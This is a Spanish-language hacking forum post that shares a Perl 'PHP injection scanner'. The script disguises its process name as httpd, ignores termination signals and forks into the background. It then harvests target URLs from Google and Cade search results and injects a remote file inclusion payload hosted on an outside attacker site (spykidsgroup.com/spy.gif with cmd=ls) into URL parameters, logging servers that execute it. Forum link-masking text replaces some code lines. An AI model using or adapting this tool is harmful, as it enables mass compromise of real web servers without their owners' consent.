comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

PHP Injection Scanner (Perl Code)

  • 0 Respuestas
  • 1318 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:53:33 pm »
Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. use LWP::Simple;
  4. use IO::Socket::INET;
  5.  
  6.  
  7.  
  8. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  9. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\t[ PHP injection scanner 5.0 priv8 version by poerschke ]\n\t[ irc.gigachat.net #spykids ]\n\n\n";
  10.  
  11. if(!@ARGV[0]){
  12. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\t[ use: perl php5.0.pl <procura> ]\n\n";
  13. No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  14. }
  15. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\t[ Camuflando pid ]\n";
  16. my $processo = "/usr/local/sbin/httpd - spy";
  17. $SIG{"INT"} = "IGNORE";
  18. $SIG{"HUP"} = "IGNORE";
  19. $SIG{"TERM"} = "IGNORE";
  20. $SIG{"CHLD"} = "IGNORE";
  21. $SIG{"PS"} = "IGNORE";
  22.  
  23. $0="$processo"."\0"x16;;
  24. my $pid=fork;
  25. exit if $pid;
  26. die "Problema com o fork: $!" unless defined($pid);
  27.  
  28. print "\t[ Pid: $pid Processo: $processo ]\n";
  29.  
  30. $caxe = ".";
  31. $caxe1 = ".";
  32. $caxe .= rand(9999);
  33. $caxe1 .= rand(9999);
  34. $arq = ".";
  35. $arq = int rand(9999);
  36.  
  37. open(sites,">$arq");
  38. print sites "";
  39. close(sites);
  40.  
  41.  
  42. $procura = @ARGV[0];
  43. chomp $procura;
  44. print "\t[ Procurando por $procura no Google ]\n";
  45. for($n=0;$n<900;$n += 10){
  46. $sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next;
  47. print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
  48. print $sock "Host: www.google.com.br";
  49. print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
  50. print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
  51. print $sock "Accept-Language: pt-br, pt;q=0.50";
  52. print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9";
  53. print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
  54. print $sock "Keep-Alive: 300";
  55. print $sock "Connection: keep-alive";
  56.  
  57. @resu = <$sock>;
  58. close($sock);
  59. $ae = "@resu";
  60. while ($ae=~ m/<a href=.*?>.*?<\/a>/){
  61.   $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
  62.   $uber=$1;
  63.    if ($uber !~/translate/)
  64.    {
  65.    if ($uber !~ /cache/)
  66.    {
  67.    if ($uber !~ /"/)
  68.    {
  69.    if ($uber !~ /google/)
  70.    {
  71.    if ($uber !~ /216/)
  72.    {
  73.    if ($uber =~/http/)
  74.    {
  75.    if ($uber !~ /start=/)
  76.    {
  77.      open(arq,">>$arq");
  78.           print arq "$uber\n";
  79.           close(arq);
  80. }}}}}}}}}
  81. print "\t[ Procurando por $procura no Cade   ]\n";
  82.  
  83. for($cadenu=1;$cadenu <= 991; $cadenu +=10){
  84.  
  85. @cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next;
  86. $ae = "@cade";
  87.  
  88. while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
  89.   $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
  90.   $uber=$1;
  91.  
  92. $uber =~ s/ //g;
  93. $uber =~ s/<b>//g;
  94. $uber =~ s/<\/b>//g;
  95.  
  96. open(a,">>$arq");
  97. print a "$uber\n";
  98. close(a);
  99. }}
  100. print "\t[ Pronto sites pegos no google e cade ]\n";
  101. print "\t[ Excluindo os sites repetidos ]\n";
  102. $ark = $arq;
  103. @si = "";
  104. open (arquivo,"<$ark");
  105. @si = <arquivo>;
  106. close(arquivo);
  107. $novo ="";
  108. foreach (@si){
  109. if (!$si{$_})
  110. {
  111. $novo .= $_;
  112. $si{$_} = 1;
  113. }
  114. }
  115. open (arquivo,">$ark");
  116. print arquivo $novo;
  117. close(arquivo);
  118.  
  119.  
  120. $a =0;
  121. $b =0;
  122. open(ae,"<$arq");
  123. while(<ae>)
  124. {$sites[$a] = $_;
  125.   chomp $sites[$a];
  126.   $a++;
  127.   $b++;}
  128. close(ae);
  129. print "\t[ Total de sites para scanear: $a ]\n";
  130. for ($a=0;$a<=$b;$a++){
  131. open (file, ">$caxe");
  132.       print file "";
  133. close(file);
  134. open (file, ">$caxe1");
  135.       print file "";
  136. close(file);
  137. $k=0;
  138. $e=0;
  139. $data=get($sites[$a]) or next;
  140.   while($data=~ m/<a href=".*?">.*?<\/a>/){
  141.   $data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
  142.   $ubersite=$1;
  143.  
  144.   if ($ubersite =~/"/)
  145.    {
  146.    $nu = index $ubersite, '"';
  147.    $ubersite = substr($ubersite,0,$nu);
  148.    }
  149. if ($ubersite !~/http/)
  150. {$ubersite = $sites[$a].'/'.$ubersite;}
  151. open(file,">>$caxe") || die("nao abriu caxe.txt $!");
  152. print file "$ubersite\n";
  153. close(file);
  154. }
  155.  
  156. $lista1 = 'http://www.spykidsgroup.com/spy.gif?&cmd=ls%20/';
  157. $t =0;
  158. $y =0;
  159. @ja;
  160. open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
  161. while (<opa>)
  162. {
  163. $ja[$t] = $_;
  164. chomp $ja[$t];
  165. $t++;
  166. $y++;
  167. }
  168. close(opa);
  169. $t=1;
  170. while ($t < $y)
  171.    {
  172.     if ($ja[$t] =~/=/)
  173.       {
  174.        $num = rindex $ja[$t], '=';
  175.        $num += 1;
  176.        $ja[$t] = substr($ja[$t],0,$num);  
  177.             open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
  178.             print jaera "$ja[$t]$lista1\n";
  179.             close(jaera);
  180.         $num = index $ja[$t], '=';
  181.         $num += 1;
  182.         $ja[$t] = substr($ja[$t],0,$num);      
  183.         $num1 = rindex $ja[$t], '.';
  184.         $subproc = substr($ja[$t],$num1,$num);
  185.          
  186.             open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
  187.             print jaera "$ja[$t]$lista1\n";
  188.             close(jaera);
  189.       }
  190.      $t++;
  191.      }
  192. $ark = "$caxe1";
  193. @si = "";
  194. open (arquivo,"<$ark");
  195. @si = <arquivo>;
  196. close(arquivo);
  197. $novo ="";
  198. foreach (@si){
  199. if (!$si{$_})
  200. {
  201. $novo .= $_;
  202. $si{$_} = 1;
  203. }
  204. }
  205. open (arquivo,">$ark");
  206. print arquivo $novo;
  207. close(arquivo);
  208.    $q=0;
  209.    $w=0;
  210.     @hot;
  211.    open (ops,"<$caxe1");
  212.    while(<ops>)
  213.    {
  214.    $hot[$q] = $_;
  215.    chomp $hot[$q];
  216.    $q++;
  217.    $w++;
  218.    }
  219.    close(ops);
  220. print "\t[ ComeiƒÆ’i‚§ando o scan aguarde. Pode demorar horas. ]\n";
  221. for($q=0;$q<=$w;$q++)
  222.   {
  223.  
  224.   if ($hot[$q] =~/http/)
  225.     {
  226.    $tipo=get($hot[$q]) or next;
  227.    if($tipo =~/root/)
  228.          {
  229.          if ($tipo =~/etc/)
  230.           {
  231.           if ($tipo =~/boot/)
  232.            {
  233.     open(a,">>res.txt");
  234.     print a "$hot[$q]\n";
  235.     close(a);
  236.                  }}}}}}
  237.  
  238. print "\t[ Pronto scanner concluido ]\n";
  239. print "\t[ O resultado foi salvo no ftp do spykids ]\n";
« Última modificación: Marzo 14, 2015, 09:55:31 am por Expermicid »
Me cambie de messenger ahora es: edeex@live.comNo tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3230
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1511
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1169
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1139
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1310
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear